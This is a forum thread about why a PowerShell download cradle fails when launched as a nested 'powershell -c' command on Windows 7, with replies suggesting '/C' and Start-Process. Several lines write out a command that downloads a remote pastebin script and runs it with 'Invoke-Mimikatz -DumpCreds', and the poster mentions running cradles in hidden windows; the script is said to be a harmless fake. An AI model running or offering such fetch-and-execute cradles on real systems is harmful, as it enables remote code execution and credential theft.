Run Powershell with command options and Invoke-Expression breaks my powershell.exe [Windows 7]

[gueni32]

Hi everybody!

So I'm simply trying some download cradles on powershell on a Windows 7. I wanted to download this test powershell script (fake Mimikatz) : https://pastebin.com/FvASwLVQ that runs calculator and print some random informations and I wanted to run the main function. So I run the following command :

powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/FvASwLVQ');Invoke-Mimikatz -DumpCreds"

And immediatly after that nothing happens I'm still on the same Powershell and I can't open a a new Powershell console by any means unless I restart my computer.

The thing is I tested the same command with other scripts and I get the same results...

The IEX command without the "powershell -c" works perfectly and the first command works on every Windows 10! So anyone know the problem? Thanks!

PSVersion : 5.1.14409.1005

[PoSHMagiC0de]

Try changing the "-C" to a "/C".  I noticed on Windows that sometimes the "-"s break stuff like using in wmi to launch processes with command line arguments.

 

[gueni32]

Thanks for your answer @PoSHMagiC0de but I tried with a simple command that have the same pattern as the first command but without script :

$var = "notepad"

powershell -c "IEX $var;notepad"

And it worked perfectly! So I don't understand...

[PoSHMagiC0de]

Wait, you launching powershell from within powershell?  If you are, that is your issue.  Depending on what you are trying to do, you will have to do  it differently.

If ran from the command line that will work.  But if within Powershell then the below will need to be done.

Start-Process "Powershell" -argumentlist "/C `"IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/FvASwLVQ');Invoke-Mimikatz -DumpCreds`""

But if you are already in Powershell, I do not see the need for the above.

[gueni32]

I tried to start a powershell within a powershell because I wanted to test if I can launch the download cradle in a hidden windows and that works on windows 10 but not on windows 7 so that's why I test this weird inception powershell command.

Thanks for your command with "Start-Process" I will test it tomorrow!